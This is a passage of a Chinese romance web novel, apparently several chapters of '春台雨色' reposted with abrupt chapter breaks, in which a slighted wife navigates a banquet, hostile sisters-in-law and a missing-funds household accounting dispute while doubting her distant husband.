安伯侯世子对上他冷下来的眉眼,讪讪地摸了摸鼻子,不满的嘟哝起来,“我们只是开个玩笑而已,至于吗。” 池宴接过帕子,斯条慢理地清理着被酒水弄脏的手,语气虽平淡,却压迫感十足,“所谓的玩笑话是建立在彼此都认为合适的尺度上,是善意玩笑,而不是你们这种为满足自己私欲,令当事者不舒服,感到冒犯的玩笑。” “我不希望我的夫人听到这些捕风捉影的话,从而影响到心情。” “什么夫人,虽然我们都知道池兄你是个重诺守信之人,但你也不能这样搭上自己的一辈子啊。”安伯侯世子实在忍不住低头嘀咕。 “谁不知道你娶的那位夫人不但出身小门小户满脸穷酸,不但善妒不给你纳妾,就连曲水流觞都不会玩,简直比我府上的丫鬟还不如。” 筵宴在下午才开席,中间便是各家拉关系相互介绍攀关系,或是交好之人三三两两聚在一起说着时下流行的才子佳人风花雪月。 像一缕幽魂被她们排挤在外的许知微待在角落里喝完了一壶茶水后,便打算出来走走,也好逃离无人和她说话的烦闷。 只是在的是别人家府邸,若是走远了,或是走到不该去的地方,又难免会惹来不该惹的祸端。 她过来的时候,记得前面有一处荷塘,那儿倒是个纳凉避暑的好地方,关键是人少。 有风卷起湖边芦苇,叶卷云舒,迎来清香阵阵。 见到那么一大片荷叶,连心底的烦躁和憋闷都会随着被风治愈抚平。 正打算去折一片荷叶用来遮阳的许知微在望向某处时,瞳孔猛缩,又带着隐约的欢喜。 夫君怎么会在这里? 双手负后,临湖而立的池宴听到身后传来的脚步声时,转过身看了她一眼,微微点头,随后又转回去,静静地看着湖面上的荷花。 碧绿的荷叶铺满池塘,又随着风轻轻摇曳,婆娑起舞,一如她起伏的心湖涟漪。 许知微压下心湖雀跃而奔的高兴,迈着自己学了很久,才学会的淑女步伐来到他旁边,生怕自己扰了他独处的兴致,只能小声地说,“这里的荷花开得极好,倒是适合游湖。” “你喜欢荷花。”池宴掀帘看了她一眼,问。 没有想到自己随口说的一句话能得到回应的许知微快要压抑不知内心的雀跃,脸颊泛红地垂下头,“自然是喜欢的。” 她觉得自己喜欢荷花的回答太单调了,思考了下,又回,“荷花出淤泥而不染,濯清涟而不妖,它能在逆境中不屈的往上挣扎生长,开出绚烂高洁的花,又不会同其它花儿骄傲自满,始终保持着它谦虚淡泊的品质,对比于荷花本身,我更喜欢它在无论多恶劣的环境里都能保持高洁清廉的本性。” 许知微说完,又很坎坷地偷偷望向他,并琢磨着刚才自己说的话是否有哪里不对,何处出了错。 以至于在等待的过程中,许知微总是格外的煎熬,连过于安静的周围都令她下意识的屏住了呼吸。 “城西有一处荷花也开得不错,平日里得闲正好合适赏心。”池宴瞥见她泛白的脸色,抬脚往边上的凉亭走去,“可是不习惯这种场合。” 跟在后面的许知微咬着下唇,轻轻摇头,“许是还不太习惯吧。” 这是她第一次参加这种宴会,还是在没有婆婆带着介绍认人,难免会露出胆怯之意,更担心自己有哪里做得不好的地方,让她们又一次嘲笑池晏娶了自己那么个上得台面的夫人。 “你是我的夫人,不需要刻意奉承的讨好任何人。”池宴将装着鱼食的鱼盆递到她左手旁。 “嗯。”许知微抓起几颗鱼食扔进池塘里,低头看着贪嘴儿的锦鲤一窝蜂的涌过来。 “夫君是怎么想到,今日要带我来参加寿宴的。”这个问题她从昨晚上思考到了现在,结果越是思考脑子越是要打结,毕竟之前的她,从未出席过任何宴会。 池宴看了她一眼,说道:“陈大人算是我半个恩师。” “那我等下可要去拜见一下?”许知微手里空了,正准备去拿鱼食时,不小心碰到了他同样伸来的手。 两只手碰到的那一刻,许知微像是被滚烫的热油溅到一样,羞涩得迅速将手拿开。 他们之间最亲密的事不知做了多少回,可那么简单的,称得上是无心的一个触碰,仍让许知微的本就动荡的心湖再次被人扔进一颗小石子,泛起层层涟漪。 或许,今天的寿宴也没有她想的那么糟糕。 快要开席了,许知微才俯身告退。 尚未走远,只见原本平静的绿萝纱帐突然被利器破开一道狰狞的口子,随着竹筏靠岸。 是撑着竹筏的花匠正抱着刚摘下的一大筐沾露荷花,从竹筏上跳下来。 粉白凝珠的荷花和碧绿的荷叶拥挤成娇,娇嫩的花瓣颤颤生香,熠熠生辉。 只是看了一眼,就收回视线的许知微转过身要走时,花匠出了声,问,“夫人的夫家可是姓池。” 许知微迟疑了一下,缓缓点头。 “那就对了。”说着,花匠从箩筐里抽出几支荷花,用荷叶包好捆成花束递过去。 “这是刚才一位姓池的大人让我拿来给你的,还说了一句什么,池莲自在香,绿萝纱,呀,都怪小的记性不好,忘记了。” 这花,是夫君特意让人送来给她的? 这一刻的许知微像是被凭空而来的欢喜砸得晕了头,连呼吸都急促起来,更怀疑是不是今儿太热,导致她中了暑气才会产生的幻觉。 “池夫人?”花匠见她迟迟没有伸手接过,才忍不住出声。 “多谢小哥。”接过荷花的许知微解下腰间的钱袋子递过去时,花匠已经背着竹筐里剩下的 7. 第 7 章 《春台雨色》全本免费阅读 许知微想说自己额头上的伤并没有大碍,池晏仍是坚持去了最近的医馆。 马车为什么会突然颠簸,原是有一个小孩子突然冲出来,二福担心会撞到人才勒紧的缰绳。 坐堂大夫取了止血的粉末洒在许知微用温水清洗干净的额头上,说道:“夫人的伤口并不严重,只要按时涂抹药膏,最近一段时间少碰水便可。” 林淼思思拿过药童端来的药瓶,皱起眉头反问道:“这药膏可能祛疤?你可要知道女人的容貌何其重要,要是留了疤,那和破了相有什么区别。” 大夫耐心的一一回答,“夫人额头上的伤并不严重,只需要按时涂抹就不会留疤。” “行,我就姑且信你一回,要是到时候嫂子脸上留了疤,看我不把你们的店给拆了。”林淼思思把药瓶递给额间缠了厚厚一圈白布的许知微,愧疚得不行,“嫂子,这件事也怪我,要不是我………” 清楚她想要说什么的许知微扶着额头,抬眸打断她的喋喋不休,“你坐得离我夫君近,我夫君只是顺手拉你一把,林姑娘不必时时为此感到愧疚。” “可是这件事我也有责任啊。”林淼思蓦然红了眼圈,委屈得不行的咬着唇。 “我一个江湖儿女磕磕碰碰到了又不会怎么样,但是嫂子你不行,要是你破相了那可怎么办,我可是知道像你这样的娇妻最是看重容貌。” 本就头疼的许知微又一次听到她口中的娇妻,正想要问她何为娇妻时,池晏推门走了进来,手上还提着刚抓好的药。 因为出现了意外,这一次赶车的人换成了宋眠,连回去的路上都变得格外安静。 今日没有随着一起去杜府的棠梨正在打扫院子,听到声音后把手上扫帚一扔就跑出去,眼睛瞥到许知微额头上缠着的一圈白布,急得直瞪圆了眼珠子,“夫人,你不是去参加杜大人的寿宴了,怎么弄成这个样子了。” “回来的路上出了点儿小意外,并不严重。”许知微觉得她下马车时就应该戴上一顶帷帽才对,也就不会被那么多人围观。 “夫人你都受伤了,还哪里不严重了。” 宋眠把提着的药递过去给棠梨,转述道:“大夫说了这药一日得煎服两次,服用三五日便可,药膏得要一日三次擦用,便不会留疤。” “知道了,多谢宋大哥。”棠梨接过药包,又转去厨房倒了一碗甜浆水,“天热,宋大哥喝碗浆水润润嗓吧。” “多谢棠梨姑娘好意,不过我还有事要忙,浆水就不必了。”说完,宋眠不给她开口的机会迅速溜走,生怕她追上来后一定得要自己喝了那碗浆水一样。 许是脑袋昏沉,许知微喝完药后很快就睡着了。 往常鲜少做梦的自己倒是做起了一个梦,只是这个梦里都在重复着相同的一个场景。 是幼童无故冲来,马夫勒紧缰绳及时停下,致使马车颠簸时,夫君下意识护住要摔倒的林淼思。 最后的画面更是定格在,男人拉过林淼思的那只手上,女人娇俏得意的笑声。 而她就像个无关紧要的画外人,只能近乎自虐地不断重现着相同的场景。 随着夜深,檐下挂着两盏灯笼的清竹园。 “爷,有从阳城关寄来给夫人的信。”宋眠双手递上刚送来的信,其实他是有些好奇这位送信人是谁,但是爷每一次见到从阳城关寄来的信后都会心情不好,他这个当人奴才的就算是在好奇也不敢多嘴。 不过他大概能推测出,送信人应该是夫人认识的人,还是至交好友,否则也不会每三个月寄来一封信,三年间从未间断。 刚沐浴出来的池晏仅着了件松垮垮的墨青色长衫,头发用一根玉簪随意的拢在脑后,整个人显得松弛又不失慵懒。 他接过来信,连信封都没有打开就放到烛火边点燃,静静地看着火舌将其舔舐后化为残灰。 忽明忽暗的烛火下,男人的半张脸都像是掩于阴影之中,连周边的温度都跟着下降一个冰点。 忽然觉得有些冷的宋眠不解地问,“爷,不把这信给夫人吗?” 宋眠对上池晏眉眼间覆盖的寒意,立马低下头打了自己的嘴巴一下,“是小的多嘴了。” 不过爷的举动也大大推翻了他前面的猜测,若送信人当真是夫人好友,为何爷不将信给夫人,反倒是直接烧了。 直到宋眠离开了清竹园,心里头都还在琢磨着刚才透过烛火瞧见信封后映出《知知亲启》四个字。 知知应是夫人的小名,也不知道是谁寄给夫人的信,才能让爷连看都不看一眼就烧掉了,真是奇了怪了。 直到那封来自阳城关的来信被彻底烧成一堆灰烬后,眼底涌动着一层暗色的池宴才松开指尖,神情憎恶地来到净盆前清洗着,沾了残灰的指尖。 夜色沉酽的轩窗旁,不知谁掬了一捧星月在怀,连带着吓得花蕊颤落两瓣。 今日抱回来的一捧荷花正静谧的插在定窑暗花梅瓶里,连月光都笼罩着镀上一层银辉朦胧,华光流转。 感觉到口渴的许知微迷迷糊糊中睁开眼要去喝水,余光中,正好对上坐在远处案几上点灯看书的男人。 一人一书一盏清茶,偷得浮生半日闲。 许知微略显迷茫的脑袋先是愣怔了几秒,才双颊爆红的回想起,今日好像是双日,夫君来她房里,是……… 若不是,夫君是很少这个点还会出现在她屋里。 听到声音的池晏先用枫叶签夹到所看的那一页,随后才起身倒了一杯温水走到床边,又取了一方圆枕垫到她身后才递过去。 即使他一个字没说,也知道他想表达什么。 “多谢夫君。”许知微伸手去接水杯时,眼睛却不受控制一样黏在了递水的那只手上。 他的手指骨节分明,修长瘦削却不显文弱女气,净白的皮肤下随着用力后会泛着淡淡的青色脉络,漂亮得像一个完美无瑕的艺术品。 以至于许知微一时之间分不清到底是甜白釉的茶杯白,还是他的手更白 许知微接过水喝了几口,解了喉咙里如火烧般的灼热感后,正想要起来伺候他更衣时,肩膀却被他按住。 男人滚烫的掌心温度透过薄薄的一层纱布传来,连带着屋内的温度都变得灼热暧昧起来,撩人心弦。 池晏眼神像是被烫到一样,迅速收回手,薄唇轻抿,问她,“还有哪里不舒服的吗。” 脸颊跟着腾起一抹红晕,从而不敢抬头看他的许知微贝齿轻咬红唇的摇了摇头,“已经好很多了,多谢夫君关心。” 犹豫了好一会儿,做足了勇气的许知微仰起泛起红晕的瓷白小脸,问,“ 8. 第 8 章 《春台雨色》全本免费阅读 许知微重新把盒子放进柜子里后,才摇起屋里的铃铛让棠梨进来伺候。 因为要去伺候婆婆用早膳,许知微早上都是吃了几块糕点叠下肚子后就赶去松福院,等伺候婆婆吃完早膳后在回院里用。 虽说是能吃完在过去的,可婆婆必须得要自己一醒来就瞧见儿媳来到院里请安,否则就认为儿媳对她不满。 往日都是许知微第一个来的松福院,今日倒是有人比她先到了。 早到的是三弟妹王嫣然,其父为正四品武将,她的性子亦是爽郎泼辣,刚嫁入池家不到三月便怀有身孕,如今已是怀上了第二胎。 二爷同四爷是姨娘所出,四爷如今在外求学倒是尚未娶妻,二爷娶的夫人同她的名字一样温柔有礼,也是在入府后没多久就诞下了一个姐儿。 如今府上未生养的人,也仅有她一人。 以至于许知微总是会想,要是她身边也能有一儿半女伴身,婆婆是否就不会对她那么厌恶,夫君和她之间也能有更多的交流。 正在逗弄着荣哥儿的王嫣然瞧见了她,随口喊了声,“大嫂来了。” “嗯,荣哥儿长得越来越俊俏了。”许知微含笑着夸了一句。 王嫣然自然是乐意听别人夸自家荣哥儿的话,可当夸的人是许知微时,就阴阳怪气起来,“男孩子生得俊俏有什么用,还是得要聪明才对,最好是能有大哥的半分聪明就好了,我这个当娘的也就不用担心了。” “大嫂,你来了。”二弟媳江令舒因为娟姐儿前些日病了,便没有抱来松福院。 “嗯,我来给母亲请安。”许知微在这位三弟媳刚入府的时候,觉得她说话温柔斯文,为人和善,想来自己应该能和她处好妯娌关系,她也能在府里找一个和自己说话的人。 三弟媳一开始确实和她聊得来,可是随着相处久了,她发现三弟妹不过是表面上同她交好,实际上是贬低自己抬高她身价,好从打压自己中获得某种快感。 每次来自己院子更是连吃带拿,她以为每个房的嚼用不一样,便也睁一只眼闭一只眼,可她不能容忍的是到了后面,每次说的话题也多是围绕在她屋子里头的那些琐事,还旁击侧敲的着让自己去找夫君,为她家二爷开个后门,调个好的官职。 她真心实意是想要同她处好妯娌关系,对方却是把她当成蠢傻的冤大头。 久了,她也不在同三弟媳往来,只是平日里遇到总会相互打个招呼的关系,维持着妯娌间的面子情罢了。 二弟媳王嫣然则是从没入门前就讨厌她,只因她未出阁前也曾暗恋过池宴,更不甘心池宴最后会娶了她那么一个没有任何才气,就连家世在洛阳城里连平平都算不上的女人。 池夫人洗漱后走了出来,王嫣然抱着怀里的荣哥儿笑着打趣,“母亲你可终于起了,荣哥儿可是一直闹着要祖母抱呢。” 池夫人接过荣哥儿,笑道:“来,荣哥儿让祖母抱抱。” 如今一岁多的荣哥儿笑着张开手臂让抱,更是惹得池夫人的心都软成一团,一口一个乖孙的叫着。 完全被遗忘在一旁的许知微忍着心中酸涩,轻声道,“母亲,儿媳来给你请安。” “嗯。”池夫人方才轻飘飘地看了她一眼,脸上笑意不复,“用膳吧。” 池夫人吃饭讲究一个细嚼慢咽,一顿饭往往要吃上半个时辰,有时候更久。 王嫣然生了池家第一个长孙,如今肚子里头还揣着一个,自然不用像她们一样站着伺候婆婆用膳,而是坐下来一起吃。 许知微和江令舒则站在边上伺候,等婆婆吃好后,端过茶水过来给婆婆漱完口才算结束。 池夫人接过香茗漱了一下嘴,冷冷地睨了她一眼,“明日就是对账的日子了,账册你可理清了。” 许知微深知不能说快了也不能说慢,只能挑了个棱模两可的回答,“尚差一点疑惑还没理清楚,不过今晚上就能理清了。” 王嫣然放下手边的燕窝,狐狸眼上挑带着笑,“大嫂要是实在不会管家,当初就不应该接下才对,否则出现问题了该怎么办,我记得大嫂的出身不一定会教过管账一类。” “我虽不像弟妹出身好,也是自小随母亲学了管账,最浅显的算术还是看得懂的。”许知微自从婆婆手中接过今年对账的任务后,最少不了的就是王嫣然的阴阳怪气,往年都是她和婆婆一起对账,也一直认为这个家的中馈得应该由她来管才对。 耳边的话刺两句就罢了,毕竟不会真枪实弹的伤到她,许知微想到账册上还有几处格外模糊的地方,待请安后便匆匆往落梅院走去。 才刚走出松福院不远,追在后面的江令舒就叫住了她,“大嫂,你等一下。” 许知微只能停下脚步,转过身去,问,“弟妹唤我,可是有事。” 这还是自从闹翻后,两人第一次私底下交流。 伸手抚了抚发间石榴玉石簪子的江令舒扬起无害的笑,说,“大嫂,其实我挺羡慕你的。” “为何羡慕?”要说羡慕,许知微应当是羡慕她的。 和丈夫恩爱有加,自己嫁进来没多久就怀了身孕,哪里如她在池府里活得像个透明人。 许知微的话,像是给江令舒打开了倾述的话匣子,“大嫂你又不是不知道我家那位官职没有大伯高算了,可往后院里纳的新人倒是一个不少,我又不像二嫂有娘家撑腰,我的性子又向来是那种不争不抢,挨了欺负也不知道怎么办才好,之前要不是有大嫂时常送些滋补的吃食到我院里,我怕是连月子都坐不安稳。” “所以?”许知微不认为她拦住自己只是为了说那么一通无用的话。 江令舒脸颊泛起一抹羞涩的红,支支吾吾地就是不开口,也让许知微浮现一抹不好的预感。 因为她之前每一次要问自己拿什么,都会先露出这副表情,然后等着自己主动开口问她,许知微掐了下掌心,嘴边挂着一如既往的温和笑意,“弟妹若是没事,我先回去了,你知道的,明日就是各大铺子掌柜来对账的日子,可不能出现任何一点儿错。” 江令舒见她没有像之前那样主动开口问她,而是直接转身要走,也顾不上矜持了,涨红了脸,急慌慌地问道:“实不相瞒,我拦住大嫂,确实是有个问题想要向大嫂请教。” 许知微也不出声,就等着她下文。 江令舒见她都不问自己是什么原因,但话既已出口了,她也只能硬着头皮说下去,“就是,就是…大嫂可否教下我,你是用什么办法笼络住大伯的心的。” 毕竟这 9. 第 9 章 《春台雨色》全本免费阅读 许知微抬头看向窗外沉下来的夜色,犹豫了一下,取下挂在木施上的外套披在身上,抱起桌上的账册就往清竹园走去。 她现在想到能帮自己的人,唯有池宴一人尔。 入夜的清竹园内,正在守夜的青山听到脚步声,以为是爷回来了,忙把垂下去的脑袋支棱起来。 还没等来人走近,声音倒是先随着炎热的夏风传了过来。 “夫君他睡下了吗。” 听到温婉女声的青山猛地打了个激灵,遂道:“回夫人,爷已经歇下了,夫人要是有事找爷,还请明日在过来。” 他顿了顿,又加了句,“爷睡下后不喜他人打扰,除非是有大事。” 不过他想了想,内宅中要是真发生什么大事,也得第一时间去找老夫人,找爷可没有什么用,就是不知道夫人那么晚还过来找爷是有什么事? 许知微着急道:“我有很重要的事情找爷,劳烦你通报一声。” 青山尴尬地挠了下后脑勺,见实在瞒不下去了才实话实说,“可是爷今晚上没有回来。” 他又解释道,“奴才那么说,主要是担心你们有事找爷,爷又不在府上才这样说的。” 闻言,许知微的心里咯噔一声,一股寒气从脚底直窜尾椎,连声音都不自觉染上了一丝哑意,“爷可是在衙门。” “爷不在衙门,出城去了。” 即使知道他不在,许知微仍是不死心的追问,“那他什么时候回来。” “这个,奴才倒是不知道。”青山挠着头,恨不得是一问三不知,他也确实是一问三不知。 “夫人来找爷是有什么事吗。”青山这时也琢磨出味来了,要是没有什么大事,夫人不可能那么晚还没睡。 他的反问倒是迎面给许知微泼了一盆凉水,彻底的清醒了过来。 今夜池晏根本没有回来,也不在衙门,那她现在该去哪里找人? 而如今距离天亮,不过几个时辰。 来时还抱有着最后一丝期望的许知微是拖着疲惫的身体,失魂落魄的回来,没有一丝睡意的枯坐在院中的石桌上。 天马上就要亮了,她要到哪里才能找到少了的一千两,难不成真的要她用自己的嫁妆填吗? 天边云层破晓时,忽然从远处飘来了一朵云,云朵就那么停在上方,随后落下了雨。 雨水淅沥沥的落下,给炎热的夏日里添了一丝沉闷。 今日的正院里除了一大早到来的负责各大铺子庄家的掌柜外,连二房,三房也过来看热闹,这是许知微嫁入池家后第一次被委以重任,一旦干得好,日后怕是会直接从婆婆手里接掌管家中馈。 她们身为妯娌,当然是希望自己能连汤带肉的端,才不要等着别人施舍肉沫星子蘸馒头。 池夫人端起手边的茶水抿上一口后放下,眼皮轻掀带着轻讽,“老大媳妇,开始吧。” 一时之间,成为所有目光焦点之中的许知微抿了抿唇,却没有马上把账册交上来。 池夫人见她迟迟没把整理好的账册交起来,面露不虞,“老大媳妇,你这是怎么怎么回事,该不会那么多天你还没把账算好吧。” 王嫣然抽出帕子捂唇轻笑,上挑的眼梢里是遮不住的鄙夷,“大嫂你要是算术不好,你就应该直接同弟媳说一声,弟媳虽说别的才能平平,但在家中也同母亲学着管过几年家,要不然也不会像现在这样,各大掌柜都到了,结果拿不出账册来。” 江令舒柔柔弱弱地看她一眼,上扬的唇角暗含得意,“大嫂,我知道你想要在母亲面前表现得好一些,可人还是得要明白有多大的本事做多大的活。” 她夫君虽是庶出导致她在婆婆面前不得脸,好在还有那么个出身不显,为人又蠢笨的嫂子做对比。 闻言,池夫人的脸色蓦时黑了,手重重拍在桌上,“许氏,你要是连那么简单的账都算不明白,我之前问你的时候为什么没有拒绝!现在各大铺子的掌柜都在这里了,你打算怎么处理。” “哎呀,母亲你就别气啦,我想嫂子也是想要在你面前表现才会这样的。”王嫣然起身扶着池夫人坐下,“大嫂,今日的这件事我都不知道怎么说你好了,你要是不会算账直说就好,逞什么强啊。” “谁说我没有把账册算好的。”唇瓣紧抿许知微来到池夫人面前,将自己整理好的账册递过去,随后低下头,说,“我是算好了,但是这账不对。” 听到她账算好的江令舒脸色闪过片刻僵硬,又在她说账不对的时候睨了王嫣然一眼。 果不其然,王嫣然下一秒就阴阳怪气起来,“哪里不对,这账往年都是对得上的,为什么今年到你手中就对不上了,别是某些人自个儿贼喊捉贼吧,要知道像这种贼喊捉贼的戏码我可是瞧得多了。” 并不像王嫣然那样指桑骂槐的池夫人接过账册后翻了几眼,面色凝重地问,“少了多少。” 许知微深吸一口气后,说出了那个足矣让他们都震惊的数字,“一千两,账面上总共少了一千两。” 一千两对于池家来说不多,但也不算个小数目。 对方要是偷拿,肯定不会一次性拿那么多,只能是在一些不起眼的采买中克扣。 可少了整整一千两都没有被发现,岂不是在说有人监守自盗。 合上账册的池夫人目光犹如利剑扫向许知微,“你可有证据。” “有。”许知微说完把连夜整理好的另一本册子递上去,“账面上少的银子大头主要是在厨房和采买上,母亲可以过目。” 王嫣然撇了撇嘴,“母亲,我猜肯定是她偷拿的,要不然为什么早 10. 第 10 章 《春台雨色》全本免费阅读 棠梨从外面跑回来,愁得拉长着脸,“夫人,姑爷没有回来,今天也没有去衙门。” 没有回来,也没有回衙门,那他是去了哪里?许知微根本无处下手,只觉得连掌心都在为之发抖。 婆婆只给了她三天时间,今天已经结束了,距离约定的时候也才剩下两天,短短的一瞬间,许知微仿佛被无尽的绝望给笼罩其中。 但她清楚自己不能倒下,要是自己倒下了,就真的没有任何人能帮她了。 与大房死一般的寂静不同,二房的二爷倒是难得回来了一趟。 拎着新买的一只鹦鹉回来的池淌吹着口哨踏进屋里,眉眼张扬,“怎么了,是谁给你气受了。” 正在给脸上擦香膏的王嫣然白了他一眼,“还能是谁,还不是我们的那位好大嫂,自个儿不会管家还逞什么强,害得大家都陪她一起倒霉。” “大嫂,她做什么了?”池淌仔细回想了一下,才从记忆里扒拉出这位大嫂是谁。 不怪他印象不深,主要是他平常不怎么着家,大嫂又一向不爱说话,每回瞧见他都低着头跟个透明人似的。 但令他印象深刻的是,大嫂生得确实不错,就连那身材也是细腰盈盈一握不堪一折,虽未生养过,却比那些生养过的妇人还要丰腴,导致他每回瞧见大嫂的时候都忍不住多瞧几眼。 也难怪大哥当初宁长跪祠堂不起也要娶她,要早知道大嫂生得那么漂亮,他就应该自己娶了,自己也不会像大哥那么不解风情,留那么个美人夜夜独守空闺难掩寂寞。 王嫣然瞥见他一副心神荡漾的蠢样,气得伸手拧了他的腰间肉一把,“怎么,外面的小妖精满足不了你,连你大哥的女人都敢打主意了。” 被掐得生疼的池淌忙求饶起来,哎呦叫唤着,“夫人你可不能冤枉我啊,我刚才只是走神罢了,那可是我大嫂啊,我就算是吃了熊心豹子胆,我也不敢把注意打到大嫂身上,我又不是那种无耻至极的禽兽。” 要是让大哥知道他对大嫂抱有这种龌龊的想法,他高低见不得第二日的太阳了。 要知道这个家里头,他最怕的就是大哥了,哪怕大哥一句话不说,他光是对上大哥的眼神都吓得直发悚。 池淌生怕她继续说下去被大哥听见了,连拉着她坐下转了话题,“你刚才说什么管家,可是出了什么事。” 王嫣然乜了他一眼,随后没好气的把今日发生的事情一五一十的说出来,临到最后还加上一句,“要我说这天底下最不缺的就是贼喊捉贼,小门小户出来的恐怕是这辈子第一次见到那么多钱,心生了贪念,要么就是偷拿着府里的钱补贴不争气的娘家,素日里瞧着她是个不争不抢的,谁知道这胆子可比我们都大得多。” 当初她嫁不了大伯,就想着嫁给他弟弟,和他当家人,日日瞧见他也不错。 大伯那么出色,当弟弟的怎么也得有半分相似,结果嫁过来后才发现除了他们长得有几分相似,性格和才能简直是南辕北辙,更暗恨自己怎么嫁了那么个东西。 但凡当年大伯娶的女人是刘静安苏婉儿那等才华家世皆出色的女子,她肯定不会那么嫉妒,偏生大伯最后娶的是许知微那么一个家世相貌才能皆平平的女人,她怎么甘心! 池淌听完后,不以为然的逗弄着笼里的鹦鹉,“管它那么多做什么,既然银子是她偷拿的,到时候让她吐出来不就好了。” 同样的事情也发生在三房。 池今远听完妻子的抱怨后,并不对此发便任何意见,兴许和他木讷的性子有关。 “我说了那么多,你就没有什么想说的。”江令舒不满丈夫的沉默寡言,气恼得推了他一把,“你是不是又想着曲柳儿那个小妖精了,我告诉你,你要是敢说是,你今晚上就给我滚出去,以后都别想进我的院子。” “你别胡闹了好不好。”池今远无奈的摇头,他院子里头也只有一个正妻一个通房,哪里像她说的那样贪花好色,简直是要污蔑人。 江令舒一听,顿时恼了,“我哪里胡闹了,别是你嫌我烦了,都对我不耐烦起来了!” ———— 这个点本应该早早睡下的许知微正点着灯芯,把她认为有问题的采买处写到另一张空白的纸上。 而采办,举办宴会是最适合捞油水的地方。 但想要清楚对方在里面捞了多少,还得去各大供应商那边对账,而两天时间根本不够。 进来添浓茶的棠月困得直打哈欠,“夫人,就算这件事在急,你也得要照顾好自己的身体啊,要不然账还没查出来,你的身体先垮下来了该怎么办。” “我知道,你困了的话就先去睡吧,我等下也去睡了。”嘴上说着要去睡的许知微却是迟迟没有动作。 一日找不出是谁偷挪的银子,她又哪里能睡得着。 棠梨知道夫人执拗的性子,便也没有在劝,只是用长簪把灯芯又挑亮了几分,好让夫人不用那么废眼。 人一旦忙起来后,连白天黑夜的界限都会模糊掉。 直到一束阳光慵懒的跃过十字海棠窗棱照进来,燃了一夜的蜡烛落了一地烛油,手指捏得笔杆泛白的许知微才发现,天已经亮了啊。 而距离三天的时间,只剩下明天最后一天了。 抱着一大堆府上往年账册的明月推门走了进来,“夫人,这是你要的资料。” “嗯,辛苦你了。” “奴婢是为夫人干活,能有什么辛苦的。” 随口吃了几块糕点充饥的许知微把前些年的账册都看了一遍,惊恐的发现,不只是今年的账面上和实际支出上少了钱,连前两年都少了,只不过是少了几百两才没有追究,也就是不追究给了偷银子那人的底气,他这一次才会越发嚣张。 要是往年都差钱,池夫人不可能不知道,更不会在她说出账面上比实际支出多了一千两的时候还那么淡定。 每个院子的嚼用都差不多,要是想知道是谁偷拿,可以从他们的日常吃食和穿着中着手。 棠梨端着一盆冰装到冰桶里,“夫人,你在书房里也待了一天了,要不出来走走,也能转化下思路。” 棠梨觉得自从姑爷回来后,院子里的冰都再也没有缺过,就这一点她还是很满意的。 许知微认为她说的也对,与其一直在这里苦恼,不如出去走一下,说不定能有意外发现。 因为要查账,最近三日里池夫人免了她的请安。 夏日炎热,府里的荷花开得正好,也最适合散步静心。 两人刚来到荷池旁,便远远地见到两个丫鬟从另一边走过来。 “你瞧见二爷新买的那只鹦鹉了吗,可真漂亮。” “当然瞧见了,要是我以后有钱了,我也得要养一只。” “你疯了,你知不知道那么一只鹦鹉有过贵啊。” 有时候说者无心,听者有心。 二爷是老夫人的小儿子,就算老夫人平日里在溺爱的补贴他,也不可能明目张胆的太过补贴,二弟媳又是个泼辣的,不见得能把自己嫁妆给他挥霍。 那么二弟的钱又是从哪里来的? 很快,三天期限到了,一连晴了好几日的天空却在今日下起了一场濛濛细雨,雨势不大,可吹在皮肤上的那一刻仍是能感觉到细微的冷意。 正堂中除了池家人,各大铺 11. 第 11 章 《春台雨色》全本免费阅读 就在正堂里的气氛逐渐凝固得化不开时,一道娇俏如春日枝头春花的银铃般笑声突兀地响起。 “好热闹啊,你们在聊什么呀。”摇着一柄米色纱贴桃花乌木雕花柄团扇的林淼思一进来,就见到险些要摔倒的许知微,“嫂子,你的眼睛怎么红了,是谁给你委屈受了,你快说出来。” “没什么。”前面险险躲过去的许知微咬着唇摇头说无事,等重新站好后,目光不期然落在跟在后面走进来的池宴身上心脏随之一紧。 他们一起来的? 是在路上碰到一起来的,还是这几天他们都在一起。 许知微想要问他这几天去哪里了,想要问他在自己需要他的时候,他又去了哪里。 察觉到她欲言又止的林淼思满脸歉意的躲到池晏背后,脸颊泛起一抹娇羞的红意,更害羞得剁了剁脚,“嫂子,也都怪我第一次来洛阳,池大哥说不放心我一个人在外面才会带我出去玩的,我要是早知道会让你误会了,无论如何都不会让池大哥陪我。” 她说这句话时,语气是炫耀,是得意的。 这一刻,许知微的心脏忽然弥漫起密密麻麻的酸涩,原来他消失的这几天,竟是陪林淼思在外游玩,枉自己以为他是遇到了什么棘手的案子才不曾归家。 她张了张嘴想要说些什么,结果牙齿已经黏上了嘴唇,浸满涩涩的酸意。 你看,他都没有否认的事,她问了就能得到自己想要的答案吗? 答案必然是否定的,何况他向来不喜欢别人过问他的私事。 池夫人见老大回来了,厉声道:“老大,你给我管管你的媳妇!简直是要气死我了。” 池宴的目光停留在眼圈泛红的许知微脸上片刻,随后蹙起剑眉,问,“不知道她做了什么,母亲要生那么大的气。” “呵,她做了什么事她自己清楚,难道还要我这个当婆婆的说出来不成。”只要看见许知微那张故作柔弱无害的脸,池夫人就满是憎恶,家里头那么多庶子她瞧不上,居然死皮赖脸的缠上她自小寄予厚望的老大身上。 老大也是个愚孝的,祖父死了就死了,承诺人死如灯灭,非得上赶着守什么诺,结果就娶回来那么个糟心玩意,不但下不了蛋还善妒得不允许宴州纳妾,早知道当年就不应该为了讨好婆婆把老大送到他们身边养。 池宴的视线又一次落在许知微身上,问,“发生了什么。” 棠梨见到姑爷回来,就像是等来了靠山,立马把事情一五一十的说出来,更义愤填庸的要为夫人抱不平的告状,“姑爷你不知道,要不是你及时回来,二爷就要打夫人了,夫人只是说出了实话而已,二爷怎么能那么过分!” 许知微垂下眼睑,即使她什么都不说,也能让人感受到她的委屈。 在看见大哥回来的那一刻,池淌就害怕得两条腿直打哆嗦,大颗大颗的汗珠从额头滚落也顾不上擦,白着嘴唇辩解道:“大哥,我刚才只是和大嫂开个玩笑而已,我没有想到会吓到大嫂。” 池宴眼皮轻掀,带着漫不经心的冷意,“哦,不知是什么玩笑值得二弟亲自动手的程度。” “大哥,我真的就是开个玩笑。”此刻笑得比哭还难看的池淌求助地望向许知微,连连赔笑,“大嫂,你快给大哥解释一下,我刚才只是像和你开个玩笑,真的,我没有什么恶意,你可是我嫂子啊。” 又小声嘀咕,“再说了我又没有打到,那么小气做什么。” 池宴冰冷的声音再度传来,“道歉。” 池淌吓得一个哆嗦,捏紧拳头后,不情不愿道:“大嫂,对不起。” “这就是你道歉的态度吗。” 